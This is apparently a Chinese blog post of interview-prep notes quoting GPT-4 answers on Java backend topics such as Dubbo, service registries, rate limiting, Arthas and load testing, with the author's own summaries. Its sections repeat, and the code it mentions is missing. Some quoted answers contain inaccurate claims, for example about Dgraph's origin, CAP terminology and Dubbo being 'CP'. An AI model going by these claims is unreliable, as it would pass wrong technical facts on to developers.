注意,这只是一个基本示例。你可能需要根据你的实际环境和需求进行调整。此外,这种方法可能会暴露敏感信息,所以在处理请求数据时需要特别注意。

总结

  • 性能指标都老生常谈了RT之类
  • ab测试特别方便,简单的压测可以使用
  • Goreplay这个工具用来做流量录制,回放

6.性能优化经验

gpt问答

SpringCloudAlibaba + redis + mysql8.0 + es + rabbitMQ我的项目用的这些技术栈,给我一点性能优化经验
优化一个系统通常涉及许多不同的领域,包括但不限于:数据库优化、缓存策略、消息队列设计、搜索引擎优化、并发和负载均衡策略等。在你的具体情况下,这里有一些可能的优化策略:
  1. SpringCloudAlibaba: 你可以通过使用熔断器和服务降级来提高系统的可用性和稳定性。同时,异步调用和线程池的合理使用也可以提高系统性能。
  1. Redis: 你可以考虑使用 Redis 作为缓存来减少数据库的压力。但是要注意,不是所有的数据都适合存储在 Redis 中。你需要根据业务需求来确定哪些数据应该被缓存。
  1. MySQL 8.0: 对于 MySQL, 最好的优化策略通常包括合理的索引设计、SQL 查询优化和合理的数据库结构设计。你还可以考虑使用分区表和分片来进一步提高性能。
  1. Elasticsearch (ES): 对于 ES,你可以通过合理的索引和查询优化来提高搜索性能。此外,对于大量的数据,你可以考虑使用分片和副本来提高性能和可用性。
  1. RabbitMQ: RabbitMQ 的优化通常包括合理的队列设计、消息确认机制和消费者并发策略。你也可以考虑使用消息批量处理和消息预取来提高性能。
  1. 代码层面: 对于代码本身,你可以考虑使用性能分析工具(如 JProfiler)来找出性能瓶颈。此外,合理的数据结构和算法设计,以及减少不必要的 I/O 操作也可以提高性能。
以上就是一些常见的性能优化策略,但是需要注意的是,每个系统都是不同的,所以你需要根据你的具体情况来确定最合适的优化策略。在优化系统之前,最好先进行性能测试和分析,这样可以帮助你找出系统的瓶颈并确定优化的重点。

总结

  • gpt说话太宽泛了
  • 主要可以从mysql入手,先把慢查询给压下来,主要就是加索引,分析索引为什么不生效,用explain命令查看扫描行数。进阶一点的就是更改数据库的事务隔离级别,听说RC更适合高并发,没有深入研究过。
  • mysql搞完了再去看看能不能上redis缓存,把热点流量走缓存,这里要分析下缓存的复杂度
  • 再来就是jvm了,我不熟悉这些方面的内容。但是可以去arthas看看GC次数,堆大小。然后去问gpt是否正常,或者看看文章。分析出频繁GC的原因。
  • 还有就是编程的潜意识,就是文件都走oss不要服务器直接接收,大对象redis反序列化特别占用cpu能不能用hashmap。for循环调用IO相关的能不能一次性batch先缓存起来…

7.线程任务有20概率失败如何保证100成功。

gpt问答

java语言,线程任务有20概率失败如何保证100成功
在Java中,要实现线程任务有20%的概率失败,但最终保证100%的成功,我们需要使用一种重试机制。以下是一个简单的例子:
在这个例子中,我们定义了一个任务,该任务有20%的概率失败(doTask 方法每次都会生成一个0到4的随机数,如果数字是0,那么任务就会失败)。在任务失败后,我们会尝试重新执行任务,最多重试5次。如果在5次尝试后任务仍然失败,我们就会停止执行。

 
你这个是业务上的考量,我考虑是线程池的拒绝策略和等待队列设置不合理。要保证每一个任务进入都要被执行,包括执行途中服务器重启
理解你的问题了。如果你想要确保线程池中的所有任务在出现失败或者服务器重启的情况下仍然可以被执行,你需要结合线程池的配置策略和持久化存储来实现。
首先,我们需要使用一个合适的拒绝策略。默认情况下,Java的线程池提供了四种拒绝策略:
  1. AbortPolicy:直接抛出异常,阻止系统正常运行。
  1. CallerRunsPolicy:只用调用者所在的线程来运行任务。
  1. DiscardOldestPolicy:丢弃队列里最老的一个任务,然后尝试把当前任务加入队列。
  1. DiscardPolicy:直接丢弃任务,不予任何处理。
在你的情况下,如果线程池满了,我们可以选择CallerRunsPolicy策略,这样新的任务就会在调用者线程中执行,这样可以保证不会丢失任务。
其次,为了保证服务器重启后还能继续执行任务,我们需要把任务持久化存储。在任务开始执行前,我们需要把任务的信息存储在一个持久化的存储系统(比如数据库)中。然后每次任务执行完成后,我们需要更新这个任务在数据库中的状态。如果服务器重启,我们可以在服务器启动的时候,从数据库中获取未完成的任务,然后再次提交这些任务到线程池中执行。
这样,我们就可以确保每个任务都能被执行,即使在服务器重启的情况下也能恢复执行。但是这种方案的实现比较复杂,需要结合线程池、数据库等多个技术。

 
给我java代码,持久化选redis,你直接使用redisTemplate就ok,线程池的声明也要一起给我
这是一个基础的示例,展示了如何使用Redis和线程池来确保任务的执行。这个示例使用了Spring框架的RedisTemplateThreadPoolTaskExecutor
注意这个示例只是一个基础的示例,实际使用时需要根据你的应用的需求来进行修改和优化。例如,你可能需要把任务的状态和结果也存储在Redis中,以便在任务执行完成后能获取到任务的结果。同时,这个示例也没有处理Redis和线程池的异常,你需要根据你的应用的需求来添加相应的异常处理代码。

总结

  • 最后gpt给出的答案中,拒绝策略用的CallerRunsPolicy,但好在任务执行入口里面包装了持久化策略
  • 任务的事务性在这里面是没有考虑的
  • 从线程池机制和业务机制做双重拦截
  • 其实变相的写了一个mq出来,不如用mq

8.Neo4j,DGraph,GanusGraph图数据库

gpt问答

图数据库是什么,我只用过mysql和redis。给我对比下Neo4j,DGraph,GanusGraph
图数据库是一种专门用于处理图形数据的数据库。图形数据是一种复杂的数据类型,其中的元素是节点(Nodes)和边(Edges)。节点代表实体(例如人、地点、产品等),而边则代表这些实体之间的关系。
与传统的关系型数据库(如 MySQL)和键值存储(如 Redis)相比,图数据库的主要优点在于它们可以高效地处理复杂的多对多关系。在关系型数据库中,这种关系往往需要通过多个表进行联接(JOIN)操作来处理,而这在大规模数据中会变得非常低效。而在图数据库中,这种关系是直接存储在数据库中的,因此可以非常快速地进行查询。
以下是你提到的三个图数据库(Neo4j、Dgraph和JanusGraph)的简单对比:
  • Neo4j: 是最知名的图数据库之一,提供了丰富的图处理功能和一个强大的查询语言(Cypher)。Neo4j 还提供了一系列的高级功能,如全文搜索、权限管理和空间函数。但是,Neo4j 是一个基于 JVM 的产品,因此可能需要比其他某些数据库更多的系统资源。
  • Dgraph: 是一个分布式的、可扩展的、事务性的图数据库,它的设计目标是为 Google 的知识图谱提供实时服务。Dgraph 提供了一种类似于 GraphQL 的查询语言,并支持 ACID 事务。相比于 Neo4j,Dgraph 的一个优点在于其分布式的特性,使其可以更好地处理大规模的图数据。
  • JanusGraph: 是一个可以扩展的图数据库,支持多个后端存储(如 Apache Cassandra、Apache HBase 和 Google Cloud Bigtable),并支持全局图查询。JanusGraph 的一个主要优点在于其插件化的架构,使得它可以灵活地适配不同的后端存储和索引技术。
以上这些图数据库各有优缺点,选择哪一个最适合你,取决于你的具体需求和偏好。

 
给我举一个使用图数据库的具体案例,并且给我java代码
图数据库在许多领域都有应用,例如社交网络、推荐系统、生物信息学等。这里我将给你一个简单的社交网络的案例。
假设我们有一个社交网络,我们想要找出两个用户之间的最短路径(也就是他们之间的关系链)。我们可以使用 Neo4j 图数据库来存储和查询这个社交网络。
这是一段使用 Neo4j Java API 来创建节点和关系,并查询两个节点之间的最短路径的代码。
首先,添加 Maven 依赖:
然后,这是 Java 代码:
在这个例子中,我们首先创建了三个节点(Alice、Bob 和 Charlie),然后创建了两个关系(Alice 知道 Bob,Bob 知道 Charlie)。然后,我们使用 shortestPath 函数来查询 Alice 到 Charlie 的最短路径。
注意,这个例子假设你已经在本地运行了 Neo4j,并且用户名和密码分别是 "neo4j" 和 "password"。你也需要在你的 Maven 项目中添加 Neo4j Java driver 的依赖。

总结

  • 对比关系型数据库和kv数据库,图形数据库高效处理复杂的多对多关系
  • neo4j基于jvm的,这个可以着重关注下
  • 社交网络、推荐系统可以使用图数据库
  • 最短路径问题案例,确实使用sql来写很麻烦,要多次io

写到最后

notion image
+万里长征-01-贝壳 | Both Savage

万里长征-01-贝壳

type
status
date
slug
summary
tags
category
icon
password
以下内容基于GPT-4模型

问题

1.LeetCode199 二叉树右视图

2.Dubbo跟SpringCloud区别

GPT问答

Dubbo跟SpringCloud区别
Dubbo和SpringCloud都是服务治理框架,它们都提供了服务注册、服务发现、负载均衡、熔断、降级等功能。但是它们的设计理念、使用场景、技术栈等方面有很大的不同。
  1. 设计理念方面的不同:
      • Dubbo:Dubbo是阿里巴巴开源的一款高性能、轻量级的Java RPC框架,它的设计更倾向于提供一种通用的服务调用方式。Dubbo主张面向接口编程,服务提供者和服务消费者通过共享的接口进行通信,解耦了服务提供者和服务消费者。
      • SpringCloud:SpringCloud是一套微服务解决方案,它是基于SpringBoot提供的一系列框架,包括服务注册与发现、配置中心、消息总线、负载均衡、熔断器、数据监控等,可以快速地构建分布式系统。SpringCloud提倡的是面向RESTful服务的编程,每个微服务都是一个独立的RESTful服务,通过HTTP/HTTPS协议进行通信。
  1. 技术栈方面的不同:
      • Dubbo:Dubbo使用的是Zookeeper作为服务注册中心,使用Dubbo协议进行通信,使用Hessian进行序列化
      • SpringCloud:SpringCloud使用的是Eureka或Consul作为服务注册中心,使用HTTP/HTTPS协议进行通信,使用Jackson进行序列化。
  1. 社区活跃度方面的不同:
      • Dubbo:Dubbo的开发和维护主要由阿里巴巴的团队负责,社区活跃度相对较低。
      • SpringCloud:SpringCloud是由Pivotal公司开发和维护的,社区活跃度非常高。
  1. 使用场景方面的不同:
      • Dubbo:Dubbo更适合在一个大型的、统一的系统中使用,比如一个大型的电商系统。
      • SpringCloud:SpringCloud更适合在微服务架构中使用,可以快速地构建和维护多个小型的、独立的服务。
总结来说,Dubbo和SpringCloud各有优缺点,选择哪一个取决于项目的具体需求和场景。

 
dubbo协议比较http协议,Hessian比较jackson
  1. Dubbo协议 vs HTTP协议
      • Dubbo协议是一种基于Netty的自定义RPC协议,它是面向服务的,二进制的,更侧重于服务间的高效调用,相比HTTP协议,Dubbo协议在网络传输效率上有优势。
      • HTTP协议是一种基于TCP的应用层协议,它是面向资源的,文本的,提供了丰富的交互方法(如GET,POST,PUT,DELETE等),用途广泛,不仅可以用于服务间的调用,还可以用于浏览器和服务器的交互。
  1. Hessian vs Jackson
      • Hessian是一种轻量级的远程调用协议,它以二进制流的形式进行数据的序列化与反序列化,数据传输效率高。
      • Jackson是一种基于Java的库,用于将Java对象转换为JSON格式的数据,或者将JSON格式的数据转换为Java对象,主要用于Web开发,通过HTTP协议传输数据。
总的来说,Dubbo协议和Hessian更适合用于服务间的高效调用,而HTTP协议和Jackson更适合用于Web开发,通过HTTP协议传输数据。选择哪一种取决于项目的具体需求和场景。

 
Zookeeper,Eureka,Consul比较。ap,cp都一样吗
Zookeeper,Eureka,和 Consul 都是服务发现和注册中心的解决方案。但是他们在设计理念、功能特性、数据一致性等方面有所不同。
  1. Zookeeper:
      • Zookeeper 是 Apache 的一个子项目,它是一个分布式的,开放源码的分布式应用程序协调服务,是 Google的 Chubby 的开源实现。它主要用来解决分布式应用中的一致性问题,可以提供基于类似于文件系统的目录节点树方式的数据存储。
      • Zookeeper 是 CP 的系统,在 CAP 定理中,Zookeeper 更加偏向于保证数据的一致性和分区容错性,可能牺牲一定的可用性。
  1. Eureka:
      • Eureka 是 Netflix 开源的服务发现框架,主要用在云计算中,用以解决微服务架构中的服务发现问题。它的客户端同时也是服务端,这种设计哲学就是服务治理的核心所在。
      • Eureka 是 AP 的系统,在 CAP 定理中,Eureka 更加偏向于保证可用性,即使在网络分区的情况下,Eureka 也不会拒绝服务注册与发现,可能会牺牲一定的数据一致性。
  1. Consul:
      • Consul 是 HashiCorp 公司推出的开源工具,提供服务发现和配置。Consul 是分布式的,高可用的,具有数据中心感知能力的服务发现和配置系统。Consul 更像是综合了 Zookeeper 和 Eureka 的功能特性,既可以作为服务发现注册中心,又提供了健康检查的功能。
      • Consul 是 CP 的系统,在 CAP 定理中,Consul 更加偏向于保证数据一致性和分区容错性,但是在极端情况下,可能会牺牲一定的可用性。
总的来说,Zookeeper,Eureka,和 Consul 在 AP(Availability,Partition tolerance)和 AC(Atomicity,Consistency)的取舍上是有差异的。在 CAP 理论中,一个分布式系统无法同时满足一致性,可用性和分区容错性,只能满足其中的两项。Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性

 
为什么Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性。把底层实现细节给我说下,用java代码
在 CAP 理论中,一致性 (Consistency)、可用性 (Availability) 和分区容错性 (Partition tolerance) 是无法同时满足的。这表示在面临网络分区 (Partition) 的情况下,我们需要在一致性和可用性之间做出选择。在这种情况下,ZooKeeper 和 Consul 选择了一致性,而 Eureka 则选择了可用性。
  1. ZooKeeper 和 Consul:
    1. ZooKeeper 和 Consul 使用了 Raft 或 Paxos 等强一致性算法来保证在分布式环境中数据的一致性。在这些算法中,大部分的操作都需要经过多数节点的确认,才能够被视为成功。例如,在一个五个节点的集群中,任何操作都需要至少三个节点确认。这确保了即使在网络分区的情况下,只要大多数的节点能够正常通信,系统就能够继续提供一致性的服务。
      这种做法的代价就是可用性。如果因为网络分区或者其他原因,导致无法获得大多数节点的确认,那么操作就会被阻塞,系统无法对外提供服务。
  1. Eureka:
    1. Eureka 选择了另外一种方式,即在网络分区的情况下,优先保证可用性。Eureka 的服务注册中心对于客户端注册的信息并不会立即同步到其他节点,而是通过定期的方式进行同步。这种方式在网络分区的情况下,每个节点都可以独立的对外提供服务,从而保证了高可用。
      但是,这种做法的代价就是一致性。在网络分区的情况下,各个节点之间的数据可能会出现不一致的情况。
下面是一段简单的 Java 代码,用于说明 ZooKeeper 和 Consul 的一致性操作:
在这段代码中,create, setDatagetData 操作都需要在多数节点上达成一致,才能被视为成功。
而 Eureka 的可用性操作可以用以下的 Java 代码表示:
在这段代码中,registerInstancegetInstance 操作都不需要在多数节点上达成一致,因此能够在网络分区的情况下继续提供服务。

 
dubbo适合大型的、统一的系统中使用,比如一个大型的电商系统。就是出于CAP理论的考察对吗
Dubbo 是一款高性能的 Java RPC 框架,其主要设计目标是用于构建高性能和可扩展性强的服务端同步调用或异步调用。
Dubbo 在选择 CAP 理论的时候,更倾向于选择 CP(一致性和分区容错性),优先保证数据的一致性以及系统的分区容错性。
在大型的、统一的系统中,确保数据的一致性显得尤为重要,因为数据的不一致性可能会导致一些严重的问题,如订单数据不一致、库存数据不一致等。此外,大型的系统往往需要处理大量的请求,系统的可扩展性和性能也是非常重要的,而 Dubbo 的设计正好可以满足这些需求。
但是,是否选择 Dubbo 并不能仅仅从 CAP 理论来考虑,还需要结合具体的业务需求和系统特性。例如,如果你的系统是一个服务间互相独立,对数据一致性要求不高的系统,使用基于 HTTP 的 RESTful API 可能会是一个更好的选择。因为 HTTP 协议简单、成熟,而且可以直接与现代的 Web 技术栈集成。

总结

  • dubbo的传输协议和序列化协议就对RPC方式更快。
  • http和https的协议可以完美的调用已有的服务,比如python服务,只要你有web端点我就可以调用。
  • zookeeper是CP的,以为着适合一致性要求更高的服务。
  • cloud可供选择嘛,AP和CP都有。
  • 刚开的项目架构合理,需要一致性强那么就用dubbo。老项目改造用springCloud没有那么麻烦
 

3.限流算法中的令牌跟漏斗区别

GPT问答

限流算法中的令牌跟漏斗区别
令牌桶算法(Token Bucket)和漏桶算法(Leaky Bucket)都是网络流量整形(Traffic Shaping)和速率限制(Rate Limiting)中常用的算法。它们的主要目的是控制数据传输的速率,以防止网络拥塞。
  1. 令牌桶算法:
    1. 令牌桶算法是一个存放固定容量令牌(token)的桶,按照固定速率往桶中添加令牌。令牌桶算法的关键是,桶中最多只能存放 b 个令牌,如果桶满了,新来的令牌会被丢弃;当一个 n 字节的数据包到达时,如果桶中有足够的令牌,则会消耗 n 个令牌,并且数据包会被发送到网络上;如果桶中的令牌不足,则数据包将被缓存或丢弃。
      令牌桶算法能够在限制数据的平均传输速率的同时,还允许某种程度的突发数据传输。
  1. 漏桶算法:
    1. 漏桶算法可以看作是一个漏洞大小固定的桶,流进桶里的水(代表网络流量)会以恒定的速率流出,漏水速率是固定的,即使瞬间大量水流入,流出速率也不会变大。如果桶中的水满了,多余的水会直接溢出。
      通过漏桶算法,可以平滑网络流量,限制数据流的突发性,但是它不能够应对突然的大流量。
总的来说,令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突发流量的出现。

 
令牌桶是根据字节数来限流的。如果t时有1000个令牌,A请求消耗800个token,B请求如果是199字节就会顺利通过,如果是201字节就会直接被丢弃是吧。令牌桶也可以设计成请求次数限流对吧
是的,你的理解是正确的。
令牌桶算法通常根据数据包的字节数来限流,每个数据包到达时,都会尝试从令牌桶中取出相应数量的令牌。如果桶中的令牌不足,数据包将被丢弃或缓冲。
在你的例子中,如果在 t 时刻有 1000 个令牌,A 请求消耗了 800 个令牌,那么剩余的令牌数量为 200。如果此时 B 请求需要 199 个令牌,那么 B 请求可以顺利通过;如果 B 请求需要 201 个令牌,那么 B 请求就会被丢弃,因为此时令牌桶中的令牌不足。
令牌桶算法也可以用于限制请求的次数。在这种情况下,每个请求消耗的令牌数量为固定的 1 个,而不是根据数据包的大小变化。这样,令牌桶中的令牌数量就代表了系统允许的最大请求次数。如果桶中的令牌不足,新来的请求将被丢弃或缓冲,从而实现了请求次数的限流。

 
但是这样有点粗暴,通用解决方案应该是请求ip,请求终端唯一标识,用户访问token来限流是吧。给我写出Java语言的令牌桶算法和漏斗算法
你的理解是正确的,实际应用中的限流策略通常会更加复杂,可能会根据 IP 地址、用户标识(如用户 ID、访问令牌等)或者请求的类型等信息进行限流。下面是使用 Java 语言实现的基于 Guava RateLimiter 的令牌桶限流算法示例:
对于漏桶算法,Java 中没有现成的实现,但是可以使用 Semaphore(信号量)类来模拟实现:
以上代码只是简单的示例,实际应用中的限流策略可能会更加复杂,并且需要考虑到更多的因素,如并发控制、服务降级、熔断等。

 
zuul这个框架也可以配置这两个算法,给我写出代码
在 Spring Cloud Zuul 中,我们可以使用 Spring Cloud Netflix 的 RateLimiter 实现基于令牌桶的限流。下面是一种可能的实现方式:
首先,你需要在你的 zuul 网关服务中添加 spring-cloud-starter-netflix-zuul 依赖。然后你可以为你的 Zuul 服务添加一个过滤器来实现限流。
需要注意的是,以上代码中的 RateLimiter.create(2) 创建了一个每秒产生 2 个令牌的 RateLimiter。
然而,Zuul 没有内置的漏桶算法实现,你需要自己实现漏桶算法或者使用第三方库。上述的令牌桶实现也是一个非常简单的实现,实际使用中你可能需要根据 IP 地址、用户标识等信息来创建并管理多个 RateLimiter 实例。

 
gateway这个框架也可以配置这两个算法,给我写出代码
Spring Cloud Gateway 提供了更加强大和灵活的限流功能,可以基于任何可从 exchange 对象中获取的信息进行限流,包括请求路径、来源 IP、用户 ID 等。以下是一个基于请求路径和每秒请求数量的简单限流规则配置示例:
首先,添加 Spring Cloud Gateway 的依赖:
然后,在你的 Spring Cloud Gateway 服务中配置限流规则:
然后在你的 application.yml 中配置具体的限流规则:
以上配置代表每秒最多处理 10 个请求,令牌桶的容量为 20 个令牌。
对于漏桶算法,Spring Cloud Gateway 同样没有内置的实现,你需要自己实现漏桶算法或者使用第三方库。

 

总结

  • 令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突发流量的出现。
  • 都是限流,只不过令牌桶可以面对突发流量,所以令牌桶的取值应该是压测后的接近最大值
  • 漏斗放过来的流量不应该设置为最大值
  • 学到一个新概念:根据字节限流

4.死循环上线后排查

GPT问答

java程序上线后怎么排查死循环
在Java中,如果你的程序陷入了死循环,那么你将需要进行调试来找出问题的原因。以下是一些用于识别和解决死循环问题的常见方法:
  1. 使用JVisualVM或者JStack工具:这些工具可以帮助你来查找程序中的线程,并可以看到线程的调用堆栈。这对于找出程序陷入死循环的位置很有帮助。JVisualVM是JDK自带的一个工具,它可以显示线程的CPU使用情况。如果有死循环,一般会有线程的CPU使用率很高。JStack是一个命令行工具,它可以打印出Java线程的堆栈跟踪。
  1. 在IDE中使用调试器:大多数现代IDE,如IntelliJ IDEA或Eclipse,都有强大的调试器。你可以设置断点,然后逐步执行程序,以查看哪个循环导致程序卡住。
  1. 增加日志输出:在你怀疑可能出现死循环的代码段中添加日志输出,这样可以帮助你理解代码的执行流程。如果你看到相同的日志条目被重复打印,那么这可能就是死循环所在的地方。
  1. 使用性能剖析器(Profiler):性能剖析器可以帮助你识别程序中的瓶颈和性能问题,包括死循环。例如,你可以使用 Java 的 VisualVM 工具,它包含一个性能剖析器,可以帮助分析和诊断程序性能问题。
以上方法需要结合具体情况进行使用,可能需要反复试验才能找到问题的根源。对于线上环境,由于不能直接修改代码,通常采用使用JVisualVM、JStack工具或者性能剖析器的方法来排查。

 
arthas的thread和dashboard是不是可以更好的排查死循环,并且我还可以使用arthas提供的火焰图来分析哪些线程在占用CPU
是的,你完全正确。Arthas 是阿里巴巴开源的一款 Java 诊断工具,提供了一些强大的命令来帮助开发者诊断线上的 Java 应用,包括线程分析(thread)、实时监控(dashboard)以及火焰图等。
  1. thread 命令:thread 命令可以用来查看 Java 线程的详细信息,包括线程状态、堆栈信息等。这可以帮助你找出死循环的线程。
  1. dashboard 命令:dashboard 命令可以实时查看 JVM 的运行状态,包括类加载信息、线程池信息、GC 信息等。在这里,你可以查看到 CPU 的使用情况,如果某个线程的 CPU 使用率异常的高,那么很可能就是发生了死循环。
  1. 火焰图:Arthas 还提供了生成火焰图的功能,火焰图可以直观地展示 CPU 使用情况,帮助你找出占用 CPU 过多的线程,从而定位到死循环的代码。
使用 Arthas,你可以更方便地排查线上的 Java 应用问题,包括死循环问题。

总结

  • jstack可以,但是dump下来的堆栈文件不好排查
  • 我还是常用arthas
  • 预防更重要,要写监控程序。发现cpu占用异常立马保存现场,看故障程度来判断是否会滚上线,或者立马热部署注释掉代码

5.QPS压测性能测试指标。

gpt问答

QPS压测性能测试指标主要是什么
QPS(Queries Per Second)压力测试主要关注以下性能指标:
  1. 吞吐量(Throughput):在单位时间内处理的请求数量,通常以QPS(Queries Per Second)或TPS(Transactions Per Second)来衡量。
  1. 响应时间(Response Time):从发送请求到接收到响应的时间,包括网络传输时间和服务器处理时间。通常来说,响应时间越短,用户体验越好。
  1. 并发用户数(Concurrent Users):同时发出请求的用户数。大并发用户数可能导致服务器资源耗尽,性能下降。
  1. 错误率(Error Rate):在压力测试中,请求失败的比例。这包括任何类型的错误,如HTTP错误、超时、异常等。
  1. 资源使用率(Resource Utilization):包括CPU使用率、内存使用率、磁盘I/O、网络I/O等。这些指标可以帮助找出系统的瓶颈。
  1. 可扩展性(Scalability):随着负载增加,系统能否保持性能和稳定性。
  1. 稳定性(Stability):在高负载下,系统是否能稳定运行。
以上指标都可以帮助我们评估系统的性能状况,找到可能的瓶颈,以进行优化。

 
给我写个ab压力测试
ab 是 Apache HTTP server benchmarking tool,主要用于进行 HTTP 性能测试。以下是使用 ab 压测你提供的 GET 请求 30 秒的命令:
在这个命令中:
  • n 1000 表示总共发送 1000 个请求。你可以根据实际情况调整这个数字。
  • c 10 表示并发数为 10。你可以根据实际情况调整这个数字。
  • t 30 表示压测时间为 30 秒。
  • H 用于添加 HTTP 头。
注意,由于 ab 不支持自动处理 HTTP 重定向、cookie 和其他一些 HTTP 功能,如果你的测试需要这些功能,你可能需要使用其他的工具,比如 siegewrk 或者 jmeter

 
给我一个gateway网关流量录制的方式,我想放大100倍去压测测试环境
一个流行的方法是通过抓取生产环境的实际请求,并将其用于压测。具体步骤如下:
  1. 流量捕捉:在生产环境的网关上捕获流量。你可以使用如tcpdump或Wireshark这样的工具来捕获流量。
  1. 流量解析:将捕获的流量转换为可重播的请求。你可以使用如Goreplay或者其他自定义脚本来做这个工作。
  1. 流量生成:使用一个压力测试工具,如Locust、JMeter或Gatling,来重播这些请求。你可以将请求频率调整为原来的100倍,以达到你的压测目标。
以下是一个使用GoReplay进行流量录制和重放的示例:
注意,这只是一个基本示例。你可能需要根据你的实际环境和需求进行调整。此外,这种方法可能会暴露敏感信息,所以在处理请求数据时需要特别注意。

总结

  • 性能指标都老生常谈了RT之类
  • ab测试特别方便,简单的压测可以使用
  • Goreplay这个工具用来做流量录制,回放

6.性能优化经验

gpt问答

SpringCloudAlibaba + redis + mysql8.0 + es + rabbitMQ我的项目用的这些技术栈,给我一点性能优化经验
优化一个系统通常涉及许多不同的领域,包括但不限于:数据库优化、缓存策略、消息队列设计、搜索引擎优化、并发和负载均衡策略等。在你的具体情况下,这里有一些可能的优化策略:
  1. SpringCloudAlibaba: 你可以通过使用熔断器和服务降级来提高系统的可用性和稳定性。同时,异步调用和线程池的合理使用也可以提高系统性能。
  1. Redis: 你可以考虑使用 Redis 作为缓存来减少数据库的压力。但是要注意,不是所有的数据都适合存储在 Redis 中。你需要根据业务需求来确定哪些数据应该被缓存。
  1. MySQL 8.0: 对于 MySQL, 最好的优化策略通常包括合理的索引设计、SQL 查询优化和合理的数据库结构设计。你还可以考虑使用分区表和分片来进一步提高性能。
  1. Elasticsearch (ES): 对于 ES,你可以通过合理的索引和查询优化来提高搜索性能。此外,对于大量的数据,你可以考虑使用分片和副本来提高性能和可用性。
  1. RabbitMQ: RabbitMQ 的优化通常包括合理的队列设计、消息确认机制和消费者并发策略。你也可以考虑使用消息批量处理和消息预取来提高性能。
  1. 代码层面: 对于代码本身,你可以考虑使用性能分析工具(如 JProfiler)来找出性能瓶颈。此外,合理的数据结构和算法设计,以及减少不必要的 I/O 操作也可以提高性能。
以上就是一些常见的性能优化策略,但是需要注意的是,每个系统都是不同的,所以你需要根据你的具体情况来确定最合适的优化策略。在优化系统之前,最好先进行性能测试和分析,这样可以帮助你找出系统的瓶颈并确定优化的重点。

总结

  • gpt说话太宽泛了
  • 主要可以从mysql入手,先把慢查询给压下来,主要就是加索引,分析索引为什么不生效,用explain命令查看扫描行数。进阶一点的就是更改数据库的事务隔离级别,听说RC更适合高并发,没有深入研究过。
  • mysql搞完了再去看看能不能上redis缓存,把热点流量走缓存,这里要分析下缓存的复杂度
  • 再来就是jvm了,我不熟悉这些方面的内容。但是可以去arthas看看GC次数,堆大小。然后去问gpt是否正常,或者看看文章。分析出频繁GC的原因。
  • 还有就是编程的潜意识,就是文件都走oss不要服务器直接接收,大对象redis反序列化特别占用cpu能不能用hashmap。for循环调用IO相关的能不能一次性batch先缓存起来…

7.线程任务有20概率失败如何保证100成功。

gpt问答

java语言,线程任务有20概率失败如何保证100成功
在Java中,要实现线程任务有20%的概率失败,但最终保证100%的成功,我们需要使用一种重试机制。以下是一个简单的例子:
在这个例子中,我们定义了一个任务,该任务有20%的概率失败(doTask 方法每次都会生成一个0到4的随机数,如果数字是0,那么任务就会失败)。在任务失败后,我们会尝试重新执行任务,最多重试5次。如果在5次尝试后任务仍然失败,我们就会停止执行。

 
你这个是业务上的考量,我考虑是线程池的拒绝策略和等待队列设置不合理。要保证每一个任务进入都要被执行,包括执行途中服务器重启
理解你的问题了。如果你想要确保线程池中的所有任务在出现失败或者服务器重启的情况下仍然可以被执行,你需要结合线程池的配置策略和持久化存储来实现。
首先,我们需要使用一个合适的拒绝策略。默认情况下,Java的线程池提供了四种拒绝策略:
  1. AbortPolicy:直接抛出异常,阻止系统正常运行。
  1. CallerRunsPolicy:只用调用者所在的线程来运行任务。
  1. DiscardOldestPolicy:丢弃队列里最老的一个任务,然后尝试把当前任务加入队列。
  1. DiscardPolicy:直接丢弃任务,不予任何处理。
在你的情况下,如果线程池满了,我们可以选择CallerRunsPolicy策略,这样新的任务就会在调用者线程中执行,这样可以保证不会丢失任务。
其次,为了保证服务器重启后还能继续执行任务,我们需要把任务持久化存储。在任务开始执行前,我们需要把任务的信息存储在一个持久化的存储系统(比如数据库)中。然后每次任务执行完成后,我们需要更新这个任务在数据库中的状态。如果服务器重启,我们可以在服务器启动的时候,从数据库中获取未完成的任务,然后再次提交这些任务到线程池中执行。
这样,我们就可以确保每个任务都能被执行,即使在服务器重启的情况下也能恢复执行。但是这种方案的实现比较复杂,需要结合线程池、数据库等多个技术。

 
给我java代码,持久化选redis,你直接使用redisTemplate就ok,线程池的声明也要一起给我
这是一个基础的示例,展示了如何使用Redis和线程池来确保任务的执行。这个示例使用了Spring框架的RedisTemplateThreadPoolTaskExecutor
注意这个示例只是一个基础的示例,实际使用时需要根据你的应用的需求来进行修改和优化。例如,你可能需要把任务的状态和结果也存储在Redis中,以便在任务执行完成后能获取到任务的结果。同时,这个示例也没有处理Redis和线程池的异常,你需要根据你的应用的需求来添加相应的异常处理代码。

总结

  • 最后gpt给出的答案中,拒绝策略用的CallerRunsPolicy,但好在任务执行入口里面包装了持久化策略
  • 任务的事务性在这里面是没有考虑的
  • 从线程池机制和业务机制做双重拦截
  • 其实变相的写了一个mq出来,不如用mq

8.Neo4j,DGraph,GanusGraph图数据库

gpt问答

图数据库是什么,我只用过mysql和redis。给我对比下Neo4j,DGraph,GanusGraph
图数据库是一种专门用于处理图形数据的数据库。图形数据是一种复杂的数据类型,其中的元素是节点(Nodes)和边(Edges)。节点代表实体(例如人、地点、产品等),而边则代表这些实体之间的关系。
与传统的关系型数据库(如 MySQL)和键值存储(如 Redis)相比,图数据库的主要优点在于它们可以高效地处理复杂的多对多关系。在关系型数据库中,这种关系往往需要通过多个表进行联接(JOIN)操作来处理,而这在大规模数据中会变得非常低效。而在图数据库中,这种关系是直接存储在数据库中的,因此可以非常快速地进行查询。
以下是你提到的三个图数据库(Neo4j、Dgraph和JanusGraph)的简单对比:
  • Neo4j: 是最知名的图数据库之一,提供了丰富的图处理功能和一个强大的查询语言(Cypher)。Neo4j 还提供了一系列的高级功能,如全文搜索、权限管理和空间函数。但是,Neo4j 是一个基于 JVM 的产品,因此可能需要比其他某些数据库更多的系统资源。
